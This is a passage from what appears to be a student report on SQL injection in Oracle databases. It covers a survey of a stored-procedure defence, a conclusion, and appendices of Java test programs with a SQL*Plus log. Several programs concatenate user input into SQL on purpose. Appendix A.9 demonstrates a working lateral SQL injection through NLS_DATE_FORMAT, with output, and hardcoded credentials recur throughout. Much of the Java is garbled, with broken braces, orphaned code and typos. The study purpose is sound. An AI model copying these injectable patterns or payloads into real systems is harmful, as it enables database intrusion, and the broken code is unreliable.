  RETURN
    SELECT *
    FROM Student_Marks_Table
    WHERE Student_No IN
        (SELECT Student_No
         FROM Users_Table
         WHERE AS_key = :pAS_key)
END

Figure 42: Definition of Table Function [27]
4.7 Protecting Stored Procedures against SQL Injection

As discussed in chapter 2, stored procedures using dynamic SQL are vulnerable to SQL injection attacks. Ke Wei et al. [28] proposed an approach to protect stored procedures against SQL injection by using static analysis and runtime validation techniques.

In the static phase, the technique uses a stored procedure parser to build a SQL-graph of the stored procedure. The SQL-graph is actually a picture representation of the stored procedure’s control flow. It describes the dependencies of SQL statements as well as what user inputs are used in a statement if there are any. Then SQL statements that take user inputs are flagged and will be monitored at runtime.

In the runtime phase, the technique compares the structure of a flagged statement before user inputs are included and the structure after user inputs are included. To monitor the structure of a SQL statement, it uses an approach quite similar to the one used in [20] to wrap each user input. However, instead of using a random secret key [20], the approach here uses the session id to pre-pend and post-pend the user input. The session id needs to be carefully checked to make sure there are no collisions with user inputs or any code fragments in the program [28]. The drawback of using session ID is that attackers might be able to guess its value easily. The wrapped user input can be considered as a single literal token, so a finite state automaton can be built to represent the intended SQL query generated at runtime. Then in order to detect if the same statement with user input included conform to the finite state automaton, the technique just need to un-wrap the user input by deleting the session id, and feed the statement into the automaton. If the
automaton accepts the SQL statement, the statement is legitimate. Otherwise, it will be dropped.

The prototype evaluation result shows this approach can detect various SQL injection attacks such as tautology-based injection, additional statement injection, second-order injection, etc. However, like many other existing approaches, this approach is also based on the assumption that only the statements taking user inputs are potentially vulnerable to SQL injection attacks [28], so it cannot prevent the Lateral SQL injections. Another drawback is the approach needs to change original procedure code by adding a function to wrap the user input. This introduces extra work for developers.
Chapter 5

CONCLUSION

Nowadays, many businesses and organizations use web applications to provide services to users. Web applications depend on the back-end database to supply with correct data. However, data stored in databases are often targets of attackers. SQL injection is a predominant technique that attackers use to compromise databases. During the project, I have conducted a survey of different types of SQL injection attacks, and have built applications and Oracle database environment to illustrate how they work. As I presented, there are many types and forms of basic SQL injection attacks. The combination of them could come up with attacks that are more complicated. Many countermeasures against SQL injection attacks have been proposed and implemented by academic researchers, developers and databases vendors. In this project, I was able to get a good insight into the existing techniques and approaches used to secure and protect web applications and database systems. I also have identified techniques that can be used to secure my applications and database system against SQL injection attacks and have applied them. By conducting a comprehensive survey on existing techniques, I have realized that many SQL injection countermeasures have their limitations. Understanding and identifying the working mechanisms, as well as advantages and disadvantages of current techniques will benefit future work in this area.
APPENDIX A

Programs and Testing Results

A.1 This section contains the code of the program user_authen.java. This program is used to authenticate users.

```java
import java.sql.*;
import java.io.*;

public class user_authen
{
    public void displayData(String name, String pass)
    {
        String url = "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
        String username = "scott";
        String password = "tiger";
        try
        {
            DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
            Connection conn = DriverManager.getConnection(url, username, password);
            System.out.println("Connected to the Oracle database");
            Statement stmt1 = conn.createStatement();
            ResultSet rs1 = null;
            String sql = "select * from users where loginname='" + name + "' and pwd='" + pass + "'";
            System.out.println("sql: " + sql);
            rs1 = stmt1.executeQuery(sql);
            if (rs1.next())
            {
                do {
                    System.out.println("id:" + rs1.getString(1) + "\t" + "loginname:" + rs1.getString(2) + "\t" + "pwd:" + rs1.getString(3) + "\t" + "email:" + rs1.getString(4));
                } while (rs1.next());
            }
        }
    }
}
```
public static void main (String args []) throws IOException
{
    InputStreamReader isr=new InputStreamReader(System.in);
    BufferedReader br=new BufferedReader(isr);

    String name="";
    String pass="";
    System.out.println("Please enter your login name:");
    name=br.readLine();
    System.out.println("Please enter your password:");
    pass=br.readLine();
    user_authen example = new user_authen();
    example.displayData(name,pass);
}

A.2 This section contains the code of the program procedure_update_emp.java, which is to update an employee’s position id in the EMPLOYEE table.

import java.sql.*;
import java.io.*;

public class procedure_update_emp
{
  public void displayData(String pid,String eid)
  {

String url= "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
String username= "scott";
String password = "tiger";
try
{
    DriverManager.registerDriver (new
oracle.jdbc.driver.OracleDriver());
    Connection conn =
    DriverManager.getConnection(url,username,password);
    System.out.println ("Connected to the Oracle database");

    String sql="{call update_emp(?,?)}");
    CallableStatement cstmt = conn.prepareCall(sql);
cstmt.setString(1,pid);
cstmt.setString(2,eid);
cstmt.execute();

cstmt.close();
conn.close();
}
catch (Exception e)
{
    e.printStackTrace();
}
}

public static void main (String args []) throws IOException
{
    InputStreamReader isr=new InputStreamReader(System.in);
    BufferedReader br=new BufferedReader(isr);

    String pid="";
    String eid="";
    System.out.println("Please enter the emplyee's id:");
eid=br.readLine();
    System.out.println("Please enter the new position id");
pid=br.readLine();
    procedure_update_emp example = new procedure_update_emp();
exmple.displayData(pid,eid);
}
A.3 This section contains the code of the program procedure_email.java, which is to display a user’s email.

```java
import java.sql.*;
import java.io.*;

public class procedure_email
{
    public void displayData(String login,String pwd)
    {
        String url= "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
        String username= "scott";
        String password = "tiger";
        try
        {
            DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
            Connection conn = DriverManager.getConnection(url,username,password);
            System.out.println ("Connected to the Oracle database");

            String sql="{call show_email(?,?,?)} ";
            CallableStatement cstmt = conn.prepareCall(sql);
            cstmt.setString(1,login);
            cstmt.setString(2,pwd);
            cstmt.registerOutParameter(3,Types.VARCHAR);
            cstmt.execute();
            System.out.println("The email is:"+cstmt.getString(3));
            cstmt.close();
            conn.close();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}```
public static void main (String args []) throws IOException
{
    InputStreamReader isr=new InputStreamReader(System.in);
    BufferedReader br=new BufferedReader(isr);

    String login="";
    String pwd="";
    System.out.println("Please enter your login name:");
    login=br.readLine();
    System.out.println("Please enter your password");
    pwd=br.readLine();

    procedure_email example = new procedure_email();
    example.displayData(login,pwd);
}

A.4 This section contains the code of the program second_order.java. The program

is used to insert a row into the table USERS.

import java.sql.*;
import java.io.*;

public class second_order
{
    public void signup()
    {
        String url= "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
        String username= "scott";
        String password = "tiger";
        try
        {
            DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
            Connection conn = DriverManager.getConnection(url,username,password);
            System.out.println ("Connected to the Oracle database");
            Statement stmt = conn.createStatement();
String insertsql = "insert into users values ('567', 'admin'--
,'1234', 'fake@email.com')";
stmt.executeUpdate(insertsql);
stmt.close();
conn.close();
}
catch (Exception e)
{
    e.printStackTrace();
}
}
public static void main (String args []) throws IOException
{
    second_order example = new second_order();
exampel.signup();
}

A.5 This section contains the code of the program second_order_prepare.java. This
program is used to insert a row into the table USERS. It uses prepared statement.

import java.sql.*;
import java.io.*;

public class second_order_prepare
{
    public void signup()
    {
        String url= "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
        String username= "scott";
        String password = "tiger";
        try
        {
            DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
            Connection conn = DriverManager.getConnection(url,username,password);
            System.out.println("Connected to the Oracle database");
        }
String insertsql = "insert into users values (?,?,?,?)";
PreparedStatement pstmt = conn.prepareStatement(insertsql);
pstmt.setString(1,"567");
pstmt.setString(2,"admin'--");  
pstmt.setString(3,"1234");  
pstmt.setString(4,"fake@email.com");  
pstmt.executeUpdate();
pstmt.close();
conn.close();
}
catch (Exception e)
{
  e.printStackTrace();
}
}

public static void main (String args []) throws IOException
{
  second_order_prepare example = new second_order_prepare();
  example.signup();
}

A.6 This section contains the code of the program update_users.java. The program
allows a user to update his/her password in the table USERS.

import java.sql.*;
import java.io.*;

public class update_users
{
  public void update_u(String name,String old_pass,String new_pass)
  {
    String url= "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
    String username= "scott";
    String password = "tiger";
try {
    DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
    Connection conn = DriverManager.getConnection(url, username, password);
    System.out.println("Connected to the Oracle database");
    
    Statement stmt = conn.createStatement();
    String sql = "update users set pwd =" + new_pass + " where loginnname =" + name + "and pwd =" + old_pass + ""
    System.out.println("sql:"+sql);
    stmt.executeUpdate(sql);
    stmt.close();
    conn.close();
} catch (Exception e) {
    e.printStackTrace();
}
}
A.7 This section contains the program procedure_update_emp_showtime.java, which can update the table EMPLOYEE and show the time when the update is started and the time when the update is finished.

import java.sql.*;
import java.io.*;

public class procedure_update_emp_showtime
{
    public void displayData(String pid,String eid)
    {
        String url= "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
        String username= "scott";
        String password = "tiger";
        try
        {
            DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
            Connection conn = DriverManager.getConnection(url,username,password);
            System.out.println ("Connected to the Oracle database");

            Statement stmt1 = conn.createStatement();
            ResultSet rs1=null;
            String sql1="select sysdate from dual";
            rs1=stmt1.executeQuery(sql1);
            while (rs1.next())
            {
                String t1 = rs1.getString(1);
                System.out.println("Time when the update is started:"+t1);
            }
            rs1.close();
            stmt1.close();

            String sql="{call update_emp(??,?,?)}";
            CallableStatement cstmt = conn.prepareCall(sql);
            cstmt.setString(1,pid);
            cstmt.setString(2,eid);
            cstmt.execute();
            cstmt.close();
        } catch (SQLException e) 
        {
            System.out.println(e.getMessage());
        }
    }
}
Statement stmt2 = conn.createStatement();
ResultSet rs2=null;
String sql2="select sysdate from dual";
rs2=stmt2.executeQuery(sql2);
while (rs2.next())
{
    String t2 = rs2.getString(1);
    System.out.println("Time when the update is finished:"+t2);
}
rs2.close();
stmt2.close();
conn.close();
}
catch (Exception e)
{
    e.printStackTrace();
}
}

public static void main (String args []) throws IOException
{
    InputStreamReader isr=new InputStreamReader(System.in);
    BufferedReader br=new BufferedReader(isr);

    String pid="";
    String eid="";
    System.out.println("Please enter the employee's id:");
eid=br.readLine();
    System.out.println("Please enter the new position id");
pid=br.readLine();

    procedure_update_emp_showtime example = new procedure_update_emp_showtime();
    example.displayData(pid,eid);
}
}
A.8  This section contains the code of the program `user_authen_prepare.java`, which uses prepared statement in the code.

```java
import java.sql.*;
import java.io.*;

public class user_authen_prepare {
    public void displayData(String name, String pass) {
        String url = "jdbc:oracle:thin:@130.86.79.169:1521:orcl";
        String username = "scott";
        String password = "tiger";
        try {
            DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
            Connection conn = DriverManager.getConnection(url, username, password);
            System.out.println("Connected to the Oracle database");
            String sql = "select * from users where loginname=? and pwd=?";
            System.out.println("sql: "+sql);
            PreparedStatement pstmt1 = conn.prepareStatement(sql);
            pstmt1.setString(1, name);
            pstmt1.setString(2, pass);
            ResultSet rs1 = pstmt1.executeQuery();
            if (rs1.next()) {
                do {
                    System.out.println("id:" + rs1.getString(1) + ", loginname: "
                        + rs1.getString(2) + ", pwd: " + rs1.getString(3) + ", email: "
                        + rs1.getString(4));
                } while (rs1.next());
            } else {
                System.out.println("Login failed.");
            }
            rs1.close();
            pstmt1.close();
        }
    }
}
```
conn.close();
}
catch (Exception e)
{
    e.printStackTrace();
}
}

public static void main (String args []) throws IOException
{
    InputStreamReader isr=new InputStreamReader(System.in);
    BufferedReader br=new BufferedReader(isr);

    String name="";
    String pass="";
    System.out.println("Please enter your login name:");
    name=br.readLine();
    System.out.println("Please enter your password:");
    pass=br.readLine();

    user_authen_prepare example = new user_authen_prepare();
    example.displayData(name,pass);
}

A.9 This section contains the testing result of a Lateral SQL injection.

SQL> --The procedure is used to retrieve total sales in the last 30 days
SQL> CREATE OR REPLACE PROCEDURE sales
  2     (d IN date,s OUT number)
  3 IS
  4     stmt CONSTANT VARCHAR2(4000) :=
  5     'select sum(price) from orders where odate+30>'||d||'';
  6     BEGIN
  7     DBMS_OUTPUT.PUT_LINE('stmt: ' || stmt);
  8     EXECUTE IMMEDIATE stmt into s;
  9     DBMS_OUTPUT.PUT_LINE('total sales:'||s);
 10     END;
 11 /

Procedure created.
SQL> show errors
No errors.
SQL>
SQL> SET SERVEROUTPUT ON;
SQL> DECLARE
2     s number;
3     d DATE :=SYSDATE;
4 BEGIN
5     sales(d,s);
6 END;
7 /
stmt: select sum(price) from orders where odate+30>'04-07-2010'
total sales:70

PL/SQL procedure successfully completed.

SQL>
SQL> ALTER SESSION SET NLS_DATE_FORMAT= "'' or oid='A0001'--";
Session altered.

SQL> select sysdate from dual;

SYSDATE
------------------
' or oid='A0001'--

SQL> DECLARE
2     s number;
3     d DATE :=SYSDATE;
4 BEGIN
5     sales(d,s);
6 END;
7 /
stmt: select sum(price) from orders where odate+30>' or oid='A0001'--'
total sales:20
PL/SQL procedure successfully completed.
BIBLIOGRAPHY


